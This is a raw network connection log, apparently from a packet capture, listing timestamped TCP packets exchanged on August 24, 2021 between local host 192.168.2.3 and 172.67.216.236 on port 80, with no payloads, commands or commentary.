Aug 24, 2021 14:01:50.809185982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809205055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809211016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809221029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809232950 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809237957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809258938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809278011 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809293985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809322119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809348106 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809349060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809375048 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809389114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809418917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809431076 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809444904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809477091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809492111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809511900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809540033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809566975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809592009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809604883 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809631109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809644938 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809662104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809672117 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809694052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809726000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809736967 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809755087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809798002 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809828997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809859991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809880018 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809899092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809904099 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809916019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809933901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809951067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809954882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.809967995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809984922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.809993029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810002089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810022116 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810023069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810041904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810056925 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810060024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810086012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810094118 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810102940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810121059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810144901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810152054 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810168028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810185909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810189009 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810201883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810210943 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810230017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810250998 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810257912 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810285091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810307980 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810312033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810338974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810355902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810359955 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810372114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810399055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810401917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810431957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810441971 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810452938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810483932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810499907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810502052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810518980 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810537100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810539961 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810563087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810587883 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810590029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810617924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810633898 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810643911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810673952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810686111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810704947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810730934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810751915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810759068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810786963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810801029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810811996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810839891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810856104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810875893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810893059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810916901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810920000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810936928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810955048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810959101 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.810972929 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810990095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.810997009 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811007977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811023951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811034918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811043978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811072111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811079979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811089039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811130047 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811134100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811162949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811176062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811197996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811223030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811240911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811244011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811275959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811285019 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811300993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811326981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811343908 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811371088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811400890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811427116 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811429024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811467886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811475039 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811497927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811528921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811542034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811561108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811585903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811599016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811611891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811639071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811652899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811666012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811682940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811701059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811714888 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811722040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811739922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811755896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811758995 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811773062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811790943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811794043 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811806917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811820984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811824083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811841011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811853886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811861992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811880112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811887980 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811897039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811916113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811933994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811944008 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.811949968 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811966896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811984062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.811984062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812004089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812011003 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812031984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812033892 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812062025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812067986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812079906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812105894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812122107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812131882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812139034 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812155962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812163115 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812175989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812200069 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812205076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812231064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812243938 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812249899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812278032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812287092 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812306881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812339067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812342882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812364101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812390089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812405109 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812414885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812441111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812464952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812469006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812500000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812513113 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812532902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812558889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812571049 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812583923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812609911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812622070 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812635899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812664986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812674046 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812701941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812722921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812741041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812747002 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812757969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812776089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812778950 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812792063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812808990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812822104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812825918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812841892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812844992 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812863111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812880039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812890053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812896967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812913895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812931061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812946081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812953949 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.812963963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812980890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.812984943 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813000917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813011885 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813019037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813035965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813036919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813052893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813070059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813074112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813086033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813103914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813114882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813121080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813142061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813143015 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813159943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813170910 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813177109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813194036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813210964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813222885 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813225985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813245058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813261032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813271999 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813281059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813302040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813303947 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813317060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813334942 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813350916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813364029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813366890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813385010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813401937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813409090 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813422918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813441038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813457012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813474894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813491106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813505888 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813508034 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813510895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813513041 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813524008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813541889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813556910 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813561916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813580990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813597918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813600063 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813616991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813636065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813652039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813668966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813673019 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813685894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813707113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813724995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813736916 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813741922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813760042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813771009 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813776016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813792944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813803911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813810110 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813826084 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813837051 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813847065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813863993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813882113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813883066 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813889027 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813900948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813919067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813925982 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813935041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813954115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813957930 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813971043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.813972950 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.813992023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814007044 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.814009905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814026117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814043999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814059973 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:50.814060926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814078093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814095974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814114094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814133883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814152002 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:50.814153910 CEST	49724	80	192.168.2.3	172.67.216.236
